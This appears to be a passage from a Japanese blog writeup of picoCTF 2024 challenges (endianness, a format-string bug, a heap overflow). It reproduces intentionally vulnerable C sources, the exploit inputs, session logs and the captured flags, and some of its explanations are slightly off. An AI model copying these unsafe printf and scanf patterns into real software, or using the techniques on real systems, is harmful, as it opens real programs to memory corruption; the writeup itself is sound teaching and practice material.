2¹⁰=1024なので2分探索をすれば最大10回で見つかるのです。

picoCTF{g00d_gu355_3af33d18}

 

ENDIANNESS(200PT)

> Know of little and big endian?
> Additional details will be available after launching your challenge instance.

launchしてncでアクセスする。

リトルエンディアンとビックエンディアンを答える問題

$nc titan.picoctf.net 59731
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: ubqro
Enter the Little Endian representation: 6F72716275
Correct Little Endian representation!
Enter the Big Endian representation: 756271726F
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_817b7cfe}

picoCTF{3ndi4n_sw4p_su33ess_817b7cfe}

 

BINARY EXPLOITATION

FORMAT STRING 0(50PT)

> Can you use your knowledge of format strings to make the customers happy?
> Download the binary here.
> Download the source here.
> Additional details will be available after launching your challenge instance.

launchして、ncでアクセス。

3つのバーガーの中から1つ入力してその質問を2問連続で正解したらフラグが得られる。(PatrickとBobを喜ばせようww)

以下ソースコード(format-string-0.c)

#include 
#include 
#include 
#include 
#include 
#include <sys/types.h>

#define BUFSIZE 32
#define FLAGSIZE 64

char flag[FLAGSIZE];

void sigsegv_handler(int sig) {
    printf("\n%s\n", flag);
    fflush(stdout);
    exit(1);
}

int on_menu(char *burger, char *menu[], int count) {
    for (int i = 0; i < count; i++) {
        if (strcmp(burger, menu[i]) == 0)
            return 1;
    }
    return 0;
}

void serve_patrick();

void serve_bob();


int main(int argc, char **argv){
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
                        "own debugging flag.\n");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    signal(SIGSEGV, sigsegv_handler);

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    serve_patrick();
  
    return 0;
}

void serve_patrick() {
    printf("%s %s\n%s\n%s %s\n%s",
            "Welcome to our newly-opened burger place Pico 'n Patty!",
            "Can you help the picky customers find their favorite burger?",
            "Here comes the first customer Patrick who wants a giant bite.",
            "Please choose from the following burgers:",
            "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice1[BUFSIZE];
    scanf("%s", choice1);
    char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
    if (!on_menu(choice1, menu1, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        int count = printf(choice1);
        if (count > 2 * BUFSIZE) {
            serve_bob();
        } else {
            printf("%s\n%s\n",
                    "Patrick is still hungry!",
                    "Try to serve him something of larger size!");
            fflush(stdout);
        }
    }
}

void serve_bob() {
    printf("\n%s %s\n%s %s\n%s %s\n%s",
            "Good job! Patrick is happy!",
            "Now can you serve the second customer?",
            "Sponge Bob wants something outrageous that would break the shop",
            "(better be served quick before the shop owner kicks you out!)",
            "Please choose from the following burgers:",
            "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice2[BUFSIZE];
    scanf("%s", choice2);
    char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
    if (!on_menu(choice2, menu2, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        printf(choice2);
        fflush(stdout);
    }
}  

$nc mimas.picoctf.net 49825
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr                                                                                                           4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05}

1つ目の質問は、BUFSIZE(=32)*2=64(文字)よりも長い文字数のバーガーを選ぶ

ここで2つ目のバーガー「Gr%114d_Cheese」に注目する。

これは、printfで出力すると「%114d」が114文字分の空白を出力することななる。

つまり、この3つのバーガーの中で選ぶのは「Gr%114d_Cheese」となる。

2つ目の質問は、おそらくバッファオーバフローを起こして、

隠れたフラグを見えるようにするということだろう。

c言語の%sは文字列の出力が行われるのでCheの後ろにフラグが出力されていうのが分かる。

picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05}

 

HEAP 0(50PT)

> Are overflows just a stack concern?
> Download the binary here.
> Download the source here.
> Additional details will be available after launching your challenge instance.

launchしてncでアクセス。

ソースコード見た感じ、バッファオーバフロー起こせばいい

以下ソースコード(chall.c)

#include 
#include 
#include 

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

void print_menu() {
    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
           "\n2. Write to buffer:\t(write to your own personal block of data "
           "on the heap)"
           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
           "the heap, "
           "I'm confident it can't be modified)"
           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
           "\n5. Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    printf("\nWelcome to heap0!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
        int rval = scanf("%d", &choice);
        if (rval == EOF){
            exit(0);
        }
        if (rval != 1) {
            //printf("Invalid input. Please enter a valid choice.\n");
            //fflush(stdout);
            // Clear input buffer
            //while (getchar() != '\n');
            //continue;
            exit(0);
        }

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

とりあえずやってみる

$nc tethys.picoctf.net 61026

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x55fa48c272b0  ->   pico
+-------------+----------------+
[*]   0x55fa48c272d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x55fa48c272b0  ->   pico
+-------------+----------------+
[*]   0x55fa48c272d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 3


Take a look at my variable: safe_var = a


1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 44
Invalid choice

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{my_first_heap_overflow_1ad0e1a6}

1~5の入力を受け付けて、それ以外の番号を入れると再入力を求められる。

2を入れると「pico」が入っているバッファを書き換えることができる。

このバッファは32bitなので32文字目まで入り、あふれるとbicoが書き換わる。

ソースコードからbicoが書き換わればフラグが得られそうなので、

入力で以下のようにすればいい。

Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


picoCTF{my_first_heap_overflow_1ad0e1a6}

#picoCTF2024 #CTF

h_takara 248日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
次のページ

プロフィール
h_takara
読者です 読者をやめる 読者になる 読者になる
1
このブログについて
検索

リンク
 * はてなブログ
 * ブログをはじめる
 * 週刊はてなブログ
 * はてなブログPro

最新記事
 * Windows24H2でsudoが使えるようになった話
 * Forensics(Steganographyについて)
 * IRON CTF 2024 Writeup(Crypto/Random Pixels)
 * Diver OSINT CTF 2024
 * angstromCTF 2024 Writeup

月別アーカイブ
 * ▼ ▶
   2024 (7)
   * 2024 / 10 (3)
   * 2024 / 6 (2)
   * 2024 / 5 (1)
   * 2024 / 3 (1)
 * ▼ ▶
   2023 (2)
   * 2023 / 12 (1)
   * 2023 / 11 (1)

h_takara’s blog

Powered by Hatena Blog | ブログを報告する




引用をストックしました

ストック一覧を見る 閉じる

引用するにはまずログインしてください

ログイン 閉じる

引用をストックできませんでした。再度お試しください

閉じる

限定公開記事のため引用できません。

読者です 読者をやめる 読者になる 読者になる
1